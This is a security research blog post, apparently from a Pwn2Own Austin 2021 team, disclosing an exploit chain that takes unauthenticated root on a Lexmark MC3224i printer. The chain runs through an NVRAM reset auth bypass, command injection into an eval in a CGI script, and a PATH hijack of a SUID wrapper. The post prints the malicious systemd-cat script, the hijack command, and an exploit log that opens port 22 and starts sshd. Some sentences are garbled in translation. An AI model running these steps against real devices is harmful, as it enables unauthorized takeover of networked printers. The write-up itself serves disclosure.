How to compromise a printer in three easy steps
[*]
In August 2021, ZDI Announced Pwn2Own Austin 2021, a security contest focused on phones, printers, NAS devices, and smart speakers, among others. The Pwn2Own competition encourages security researchers to demonstrate remote zero-day exploits against a list of specified devices. If successful, the researchers are rewarded with a cash prize and the exploited vulnerabilities are responsibly disclosed to the respective vendors so that they can improve the security of their products.
After reviewing the list of devices, we decided to target the Cisco RV340 router and the Lexmark MC3224i printer, and we managed to identify several vulnerabilities in both. Luckily we were luckier than last year and were able to participate in the competition for the first time. By successfully operating both devices, we earned $20,000, which CrowdStrike donated to several charities chosen by our researchers.
In this blog post, we describe the vulnerabilities that we discovered and used to compromise the Lexmark printer.
Insight
Product | Lexmark MC3224 |
Affected Firmware Versions (without claiming to be exhaustive) |
CXLBL.075.272 (2021-07-29) CXLBL.075.281 (2021-10-14) |
Fixed firmware version | CXLBL.076.294 (CVE-2021-44735)
Note: Users must implement a workaround to fix CVE-2021-44736, see Lexmark Security Alert |
CVE | CVE-2021-44735 (Shell Command Injection) CVE-2021-44736 (Authentication reset) |
Root causes | Authentication Bypass, Shell Command Injection, Insecure SUID Binary |
Impact | Unauthenticated Remote Code Execution (RCE) as root |
Researchers | Hanno Heinrichs, Lukas Kupczyk |
Lexmark Resources | https[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44735.pdf https[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44736.pdf |
Step 1: Increase Attack Surface by Resetting Authentication
Before we could begin our analysis, we first had to obtain a copy of the firmware. It quickly turned out that the firmware comes as .fls
file in a custom binary format containing encrypted data. Fortunately, detailed writing on the encryption scheme had been published in September 2020. Although the write-up does not include any cryptographic code or keys, it was elaborate enough that we could reproduce it quickly and write our own decryptor. With our firmware decryption tool handy, we were finally able to peek into the firmware.
It was assumed that the printer would be in a default configuration during the contest and that the printer setup wizard had been completed. Thus, we expected the admin password to be set to an unknown value. In this state, unauthenticated users can still trigger a lot of actions through the web interface. One of them is Clean all information on non-volatile memory. It is under Settings -> Device -> Maintenance. You have several options to choose from when performing this action:
[x] Sanitize all information on nonvolatile memory
(x) Start initial setup wizard
( ) Leave printer offline
[x] Erase all printer and network settings
[x] Erase all shortcuts and shortcut settings
[Start] [Reset]
If the boxes are checked as shown, the process can be started via the Begin button. The printer’s non-volatile memory is cleared and a reboot is initiated. This process takes about two minutes. Thereafter, unauthenticated users can access everything Works through the web interface.
Step 2: Shell command injection
After resetting the nvram
as shown in the previous section, the CGI script https://target/cgi-bin/sniffcapture_post
becomes accessible without authentication. It was previously discovered by browsing the decrypted firmware and is located in the directory /usr/share/web/cgi-bin
.
At the start of the script, the provided POST body is stored in the variable Data. Subsequently, several other variables such as interface
, dest
, path
and filter
are extracted and populated from this data using sed
:
read data
remove=${data/*-r*/1}
if [ "x${remove}" != "x1" ]; then
remove=0
fi
interface=$(echo ${data} | sed -n 's|^.*-i[[:space:]]([^[:space:]]+).*$|1|p')
dest=$(echo ${data} | sed -n 's|^.*-f[[:space:]]([^[:space:]]+).*$|1|p')
path=$(echo ${data} | sed -n 's|^.*-f[[:space:]]([^[:space:]]+).*$|1|p')
method="startSniffer"
auto=0
if [ "x${dest}" = "x/dev/null" ]; then
method="stopSniffer"
elif [ "x${dest}" = "x/usr/bin" ]; then
auto=1
fi
filter=$(echo ${data} | sed -n 's|^.*-F[[:space:]]+(["])(.*)1.*$|2|p')
args="-i ${interface} -f ${dest}/sniff_control.pcap"
The variable filter
is determined by a quoted string following the value -F
specified in the POST body. As shown below, it is then integrated into the args
variable if it was specified with an interface:
fmt=""
args=""
if [ ${remove} -ne 0 ]; then
fmt="${fmt}b"
args="${args} remove 1"
fi
if [ -n "${interface}" ]; then
fmt="${fmt}s"
args="${args} interface ${interface}"
if [ -n "${filter}" ]; then
fmt="${fmt}s"
args="${args} filter "${filter}""
fi
if [ ${auto} -ne 0 ]; then
fmt="${fmt}b"
args="${args} auto 1"
else
fmt="${fmt}s"
args="${args} dest ${dest}"
fi
fi
[...]
At the end of the script, the result args
the value is used in a eval
statement:
[...]
resp=""
if [ -n "${fmt}" ]; then
resp=$(eval rob call system.sniffer ${method} "{${fmt}}" ${args:1} 2>/dev/null)
submitted=1
[...]
By controlling the filter
variable, so attackers can inject other shell commands and access the printer like uid=985(httpd)
which is the user under which the web server is running.
Step 3: Privilege Escalation
The printer provides a custom root-owned SUID binary called collect-selogs-wrapper
:
# ls -la usr/bin/collect-selogs-wrapper
-rwsr-xr-x. 1 root root 7324 Jun 14 15:46 usr/bin/collect-selogs-wrapper
In his main()
function, the efficient the user id (0) is retrieved and the process real the user ID is set to this value. Then the shell script /usr/bin/collect-selogs.sh
is executed:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__uid_t euid; // r0
euid = geteuid();
if ( setuid(euid) )
perror("setuid");
return execv("/usr/bin/collect-selogs.sh", (char *const *)argv);
}
This is because the shell script is run as root with UID=EUID, and therefore the shell does not remove privileges. Otherwise, argv[]
SUID binary is passed to the shell script. As environment variables are also persisted execv()
call, an attacker is able to specify a $PATH
assess. Any command inside the shell script that is not referenced by its absolute path can thus be hijacked by the attacker.
The first opportunity for such an attack is the invocation of systemd-cat
on the inside sd_journal_print()
:
# cat usr/bin/collect-selogs.sh
#!/bin/sh
# Collects fwdebug from the current state plus the last 3 fwdebug files from
# previous auto-collections. The collected files will be archived and compressed
# to the requested output directory or to the standard output if the output
# directory is not specified.
sd_journal_print() {
systemd-cat -t collect-selogs echo "$@"
}
sd_journal_print "Start! params: '$@'"
[...]
The /dev/shm
directory can be used to prepare a malicious version of systemd-cat
:
$ cat /dev/shm/systemd-cat
#!/bin/sh
mount -o remount,suid /dev/shm
cp /usr/bin/python3 /dev/shm
chmod +s /dev/shm/python3
$ chmod +x /dev/shm/systemd-cat
This script goes back /dev/shm
with the suid
flag so that SUID binaries can be run from it. It then copies the system’s Python interpreter to the same directory and sets the SUID bit there. The mischievous systemd-cat
the copy can be run as root by calling the setuid collect-setlogs-wrapper
binary like this:
$ PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper
The $PATH
the environment variable is preceded by the /dev/shm
directory that hosts the malware systemd-cat
copy. After running the command, a SUID copy belonging to the root of the Python interpreter is in /dev/shm
:
root@ET788C773C9E20:~# ls -la /dev/shm
drwxrwxrwt 2 root root 100 Oct 29 09:33 .
drwxr-xr-x 13 root root 5160 Oct 29 09:31 ..
-rwsr-sr-x 1 root httpd 8256 Oct 29 09:33 python3
-rw------- 1 nobody nogroup 16 Oct 29 09:31 sem.netapps.rawprint
-rwxr-xr-x 1 httpd httpd 96 Oct 29 09:33 systemd-cat
The idea behind this technique is to establish a simple way to increase privileges without having to exploit the collect_selogs_wrapper
SUID again. We didn’t use the Bash binary for this, because the version that ships with the printer seems to ignore the -p
flag when running with UID!=EUID.
To exploit
An exploit combining the three vulnerabilities to achieve unauthenticated code execution as root has been implemented as a Python script. First, the exploit tries to determine if the printer has a login password set (i.e. the setup wizard is complete) or if it is passwordless (i.e. i.e. the authentication reset has already been executed earlier or the configuration wizard has not yet been completed). Depending on the result, it decides whether resetting the nonvolatile memory is necessary.
If the nonvolatile memory reset is triggered, the exploit waits for the printer to finish rebooting. Then it continues with the shell command injection step and increase in privileges. Privileged access is then used to start an OpenSSH daemon on the printer. Finally, the exploit establishes an interactive SSH session with the printer and passes control to the user. Here is an example of running the exploit in a test environment:
$ ./mc3224i_exploit.py https://10.64.23.20/ sshd
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM',
'LOGIN_METHODS_WITH_CREDS']
[*] Device IS password protected, auth bypass required
[*] Erasing nvram...
[+] Success! HTTP status: 200, rc=1
[*] Waiting for printer to reboot, sleeping 5 seconds...
[*] Checking status...
xxxxxxxxxxxxxxxxxxxxxxx!
[+] Reboot finished
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM']
[*] Device IS NOT password protected
[+] Authentication bypass done
[*] Attempting to escalate privileges...
[*] Executing command (root? False):
echo -e '#!/bin/shn
mount -o remount,suid /dev/shmn
cp /usr/bin/python3 /dev/shmnchmod +s /dev/shm/python3' >
/dev/shm/systemd-cat; chmod +x /dev/shm/systemd-cat
[+] HTTP status: 200
[*] Executing command (root? False): PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper
[+] request timed out, that’s what we expect
[+] SUID Python interpreter should be created
[*] Attempting to enable SSH daemon...
[*] Executing command (root? True):
sed -Ee 's/(RSAAuthentication|UsePrivilegeSeparation|UseLogin)/#1/g'
-e 's/AllowUsers guest/AllowUsers root guest/'
/etc/ssh/sshd_config_perf > /tmp/sshconf;
mkdir /var/run/sshd;
iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT;
nohup /usr/sbin/sshd -f /tmp/sshconf &
[+] HTTP status: 200
[+] SSH daemon should be running
[*] Trying to call ssh... ('ssh', '-i', '/tmp/tmpd2vc5a2u', 'root@10.64.23.20')
root@ET788C773C9E20:~# id
uid=0(root) gid=0(root) groups=0(root)
Summary
In this blog, we have described a number of vulnerabilities that can be exploited from the local network to bypass authentication, execute arbitrary shell commands, and elevate privileges on a Lexmark MC3224i printer. The search started as an experiment after the announcement of Pwn2Own Austin 2021. The team enjoyed the challenge, as well as participating in Pwn2Own for the first time, and we appreciate your feedback. We would also like to invite you to learn more about the other device we successfully targeted during Pwn2Own Austin 2021, the Cisco RV340 Router.
Comments are closed.